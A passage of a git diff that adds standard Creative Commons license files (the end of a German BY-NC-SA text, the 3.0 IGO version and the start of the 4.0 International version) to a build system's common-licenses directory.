+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.c) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ g. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO b/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO
new file mode 100644
index 0000000000..e03be0e88e
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO
@@ -0,0 +1,105 @@
+Attribution-NonCommercial-ShareAlike 3.0 IGO
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. THE LICENSOR IS NOT NECESSARILY AN INTERGOVERNMENTAL ORGANIZATION (IGO), AS DEFINED IN THE LICENSE BELOW.
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE (“LICENSE”). THE LICENSOR (DEFINED BELOW) HOLDS COPYRIGHT AND OTHER RIGHTS IN THE WORK. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION FOR YOUR ACCEPTANCE AND AGREEMENT TO THE TERMS OF THE LICENSE.
+
+1. Definitions
+
+ a. "IGO" means, solely and exclusively for purposes of this License, an organization established by a treaty or other instrument governed by international law and possessing its own international legal personality. Other organizations established to carry out activities across national borders and that accordingly enjoy immunity from legal process are also IGOs for the sole and exclusive purposes of this License. IGOs may include as members, in addition to states, other entities.
+
+ b. "Work" means the literary and/or artistic work eligible for copyright protection, whatever may be the mode or form of its expression including digital form, and offered under the terms of this License. It is understood that a database, which by reason of the selection and arrangement of its contents constitutes an intellectual creation, is considered a Work.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License and may be, but is not necessarily, an IGO.
+
+ d. "You" means an individual or entity exercising rights under this License.
+
+ e. "License Elements" means the following high-level license attributes as selected by the Licensor and indicated in the title of this License: Attribution, Noncommercial, ShareAlike.
+
+ f. "Reproduce" means to make a copy of the Work in any manner or form, and by any means.
+
+ g. "Distribute" means the activity of making publicly available the Work or Adaptation (or copies of the Work or Adaptation), as applicable, by sale, rental, public lending or any other known form of transfer of ownership or possession of the Work or copy of the Work.
+
+ h. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
+
+ i. "Adaptation" means a work derived from or based upon the Work, or upon the Work and other pre-existing works. Adaptations may include works such as translations, derivative works, or any alterations and arrangements of any kind involving the Work. For purposes of this License, where the Work is a musical work, performance, or phonogram, the synchronization of the Work in timed-relation with a moving image is an Adaptation. For the avoidance of doubt, including the Work in a Collection is not an Adaptation.
+
+ j. "Collection" means a collection of literary or artistic works or other works or subject matter other than works listed in Section 1(b) which by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. For the avoidance of doubt, a Collection will not be considered as an Adaptation.
+
+2. Scope of this License. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright protection.
+
+3. License Grant. Subject to the terms and conditions of this License, the Licensor hereby grants You a worldwide, royalty-free, non-exclusive license to exercise the rights in the Work as follows:
+
+ a. to Reproduce, Distribute and Publicly Perform the Work, to incorporate the Work into one or more Collections, and to Reproduce, Distribute and Publicly Perform the Work as incorporated in the Collections; and,
+
+ b. to create, Reproduce, Distribute and Publicly Perform Adaptations, provided that You clearly label, demarcate or otherwise identify that changes were made to the original Work.
+
+This License lasts for the duration of the term of the copyright in the Work licensed by the Licensor. The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to the rights set forth in Section 4(e).
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work (see section 8(a)). You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from a Licensor You must, to the extent practicable, remove from the Collection any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(d), as requested. If You create an Adaptation, upon notice from a Licensor You must, to the extent practicable, remove from the Adaptation any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(d), as requested.
+
+ b. You may Distribute or Publicly Perform an Adaptation only under the terms of: (i) this License; (ii) a later version of this License with the same License Elements as this License; or (iii) either the unported Creative Commons license or a ported Creative Commons license (either this or a later license version) containing the same License Elements (the “Applicable License”). (I) You must include a copy of, or the URI for, the Applicable License with every copy of each Adaptation You Distribute or Publicly Perform. (II) You may not offer or impose any terms on the Adaptation that restrict the terms of the Applicable License or the ability of the recipient of the Adaptation to exercise the rights granted to that recipient under the terms of the Applicable License. (III) You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work as included in the Adaptation You Distribute or Publicly Perform. (IV) When You Distribute or Publicly Perform the Adaptation, You may not impose any effective technological measures on the Adaptation that restrict the ability of a recipient of the Adaptation from You to exercise the rights granted to that recipient under the terms of the Applicable License. This Section 4(b) applies to the Adaptation as incorporated in a Collection, but this does not require the Collection apart from the Adaptation itself to be made subject to the terms of the Applicable License.
+
+ c. You may not exercise any of the rights granted to You in Section 3 above in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation. The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be primarily intended for or directed toward commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ d. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) any attributions that the Licensor indicates be associated with the Work as indicated in a copyright notice, (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and, (iv) consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation. The credit required by this Section 4(d) may be implemented in any reasonable manner; provided, however, that in the case of an Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributors to the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Licensor or others designated for attribution, of You or Your use of the Work, without the separate, express prior written permission of the Licensor or such others.
+
+ e. For the avoidance of doubt:
+
+ i. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+
+ ii. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License if Your exercise of such rights is for a purpose or use which is otherwise than noncommercial as permitted under Section 4(c) and otherwise waives the right to collect royalties through any statutory or compulsory licensing scheme; and,
+
+ iii. Voluntary License Schemes. To the extent possible, the Licensor waives the right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary licensing scheme. In all other cases the Licensor expressly reserves the right to collect such royalties.
+
+ f. Except as otherwise agreed in writing by the Licensor, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the honor or reputation of the Licensor where moral rights apply.
+
+5. Representations, Warranties and Disclaimer
+
+THE LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability
+
+IN NO EVENT WILL THE LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF THE LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. Subject to the terms and conditions set forth in this License, the license granted here lasts for the duration of the term of the copyright in the Work licensed by the Licensor as stated in Section 3. Notwithstanding the above, the Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated below.
+
+ b. If You fail to comply with this License, then this License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. Notwithstanding the foregoing, this License reinstates automatically as of the date the violation is cured, provided it is cured within 30 days of You discovering the violation, or upon express reinstatement by the Licensor. For the avoidance of doubt, this Section 7(b) does not affect any rights the Licensor may have to seek remedies for violations of this License by You.
+
+8. Miscellaneous
+
+ a. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b Each time You Distribute or Publicly Perform an Adaptation, the Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
+
+ c. If any provision of this License is invalid or unenforceable, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the Licensor.
+
+ e. This License constitutes the entire agreement between You and the Licensor with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+ f. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). Interpretation of the scope of the rights granted by the Licensor and the conditions imposed on You under this License, this License, and the rights and conditions set forth herein shall be made with reference to copyright as determined in accordance with general principles of international law, including the above mentioned conventions.
+
+ g. Nothing in this License constitutes or may be interpreted as a limitation upon or waiver of any privileges and immunities that may apply to the Licensor or You, including immunity from the legal processes of any jurisdiction, national court or other authority.
+
+ h. Where the Licensor is an IGO, any and all disputes arising under this License that cannot be settled amicably shall be resolved in accordance with the following procedure:
+
+ i. Pursuant to a notice of mediation communicated by reasonable means by either You or the Licensor to the other, the dispute shall be submitted to non-binding mediation conducted in accordance with rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with those communicated in the notice of mediation. The language used in the mediation proceedings shall be English unless otherwise agreed.
+
+ ii. If any such dispute has not been settled within 45 days following the date on which the notice of mediation is provided, either You or the Licensor may, pursuant to a notice of arbitration communicated by reasonable means to the other, elect to have the dispute referred to and finally determined by arbitration. The arbitration shall be conducted in accordance with the rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with the UNCITRAL Arbitration Rules as then in force. The arbitral tribunal shall consist of a sole arbitrator and the language of the proceedings shall be English unless otherwise agreed. The place of arbitration shall be where the Licensor has its headquarters. The arbitral proceedings shall be conducted remotely (e.g., via telephone conference or written submissions) whenever practicable.
+
+ iii. Interpretation of this License in any dispute submitted to mediation or arbitration shall be as set forth in Section 8(f), above.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of the Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of this License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-4.0 b/meta/files/common-licenses/CC-BY-NC-SA-4.0
new file mode 100644
index 0000000000..baee873b67
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-4.0
@@ -0,0 +1,170 @@
+Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. BY-NC-SA Compatible License means a license listed at creativecommons.org/compatiblelicenses, approved by Creative Commons as essentially the equivalent of this Public License.
+
+ d. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ e. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ f. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ g. License Elements means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution, NonCommercial, and ShareAlike.
+
+ h. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ i. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ j. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ k. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ l. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ m. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ n. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. Additional offer from the Licensor – Adapted Material. Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply.
+
+ C. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ b. ShareAlike.In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply.
+
+ 1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-NC-SA Compatible License.
+
+ 2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material.
+
+ 3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply.
+
+Section 4 – Sui Generis Database Rights.
+
